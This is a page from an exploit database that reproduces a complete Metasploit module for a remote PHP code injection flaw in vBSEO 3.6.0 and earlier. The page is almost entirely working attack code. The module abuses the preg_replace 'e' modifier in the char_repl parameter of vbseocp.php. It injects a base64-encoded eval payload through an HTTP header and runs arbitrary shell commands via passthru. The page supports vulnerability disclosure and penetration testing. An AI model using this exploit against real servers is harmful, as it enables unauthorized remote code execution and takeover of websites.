Lucene search
K

vBSEO <= 3.6.0 "proc_deutf()" Remote PHP Code Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 6 Views

vBSEO <= 3.6.0 "proc_deutf()" Remote PHP Code Injectio

Code

                                                require &#39;msf/core&#39;

class Metasploit3 &#60; Msf::Exploit::Remote

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#39;vBSEO &#60;= 3.6.0 &#34;proc_deutf()&#34; Remote PHP Code Injection&#39;,
			&#39;Description&#39;    =&#62; %q{
					This module exploits a vulnerability in the &#39;proc_deutf()&#39; function
				defined in /includes/functions_vbseocp_abstract.php. User input passed through
				&#39;char_repl&#39; POST parameter isn&#39;t properly sanitized before being used in a call
				to preg_replace() function which uses the &#39;e&#39; modifier. This can be exploited to
				inject and execute arbitrary code leveraging the PHP&#39;s complex curly syntax.
			},
			&#39;Author&#39;         =&#62; &#39;EgiX &#60;n0b0d13s[at]gmail.com&#62;&#39;, # originally reported by the vendor
			&#39;License&#39;        =&#62; MSF_LICENSE,
			&#39;Version&#39;        =&#62; &#39;$Revision$&#39;,
			&#39;References&#39;     =&#62;
				[
					[&#39;BID&#39;, &#39;51647&#39;],
					[&#39;URL&#39;, &#39;http://www.vbseo.com/f5/vbseo-security-bulletin-all-supported-versions-patch-release-52783/&#39;],
				],
			&#39;Privileged&#39;     =&#62; false,
			&#39;Payload&#39;        =&#62;
				{
					&#39;DisableNops&#39; =&#62; true,
					&#39;Space&#39;       =&#62; 8190,
					&#39;Keys&#39;        =&#62; [&#39;php&#39;],
				},
			&#39;Platform&#39;       =&#62; [&#39;php&#39;],
			&#39;Arch&#39;           =&#62; ARCH_PHP,
			&#39;Targets&#39;        =&#62; [[ &#39;Automatic&#39;, { }]],
			&#39;DisclosureDate&#39; =&#62; &#39;Jan 23 2012&#39;,
			&#39;DefaultTarget&#39;  =&#62; 0))

			register_options(
				[
					OptString.new(&#39;URI&#39;, [true, &#34;The full URI path to vBulletin&#34;, &#34;/vb/&#34;]),
				], self.class)
	end

	def check
		flag = rand_text_alpha(rand(10)+10)
		data = &#34;char_repl=&#39;{${print(#{flag})}}&#39;=&#62;&#34;

		uri = &#39;&#39;
		uri &#60;&#60; datastore[&#39;URI&#39;]
		uri &#60;&#60; &#39;/&#39; if uri[-1,1] != &#39;/&#39;
		uri &#60;&#60; &#39;vbseocp.php&#39;

		response = send_request_cgi({
			&#39;method&#39; =&#62; &#34;POST&#34;,
			&#39;uri&#39; =&#62; uri,
			&#39;data&#39; =&#62; &#34;#{data}&#34;
		})

		if response.code == 200 and response.body =~ /#{flag}/
			return Exploit::CheckCode::Vulnerable
		end

		return Exploit::CheckCode::Safe
	end

	def exploit
		if datastore[&#39;CMD&#39;]
			p = &#34;passthru(\&#34;%s\&#34;);&#34; % datastore[&#39;CMD&#39;]
			p = Rex::Text.encode_base64(p)
		else
			p = Rex::Text.encode_base64(payload.encoded)
		end

		data = &#34;char_repl=&#39;{${eval(base64_decode($_SERVER[HTTP_CODE]))}}.{${die()}}&#39;=&#62;&#34;

		uri = &#39;&#39;
		uri &#60;&#60; datastore[&#39;URI&#39;]
		uri &#60;&#60; &#39;/&#39; if uri[-1,1] != &#39;/&#39;
		uri &#60;&#60; &#39;vbseocp.php&#39;

		response = send_request_cgi({
			&#39;method&#39; =&#62; &#39;POST&#39;,
			&#39;uri&#39; =&#62; uri,
			&#39;data&#39; =&#62; data,
			&#39;headers&#39; =&#62; { &#39;Code&#39; =&#62; p }
		})

		print_status(&#34;%s&#34; % response.body) if datastore[&#39;CMD&#39;]
	end

end

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation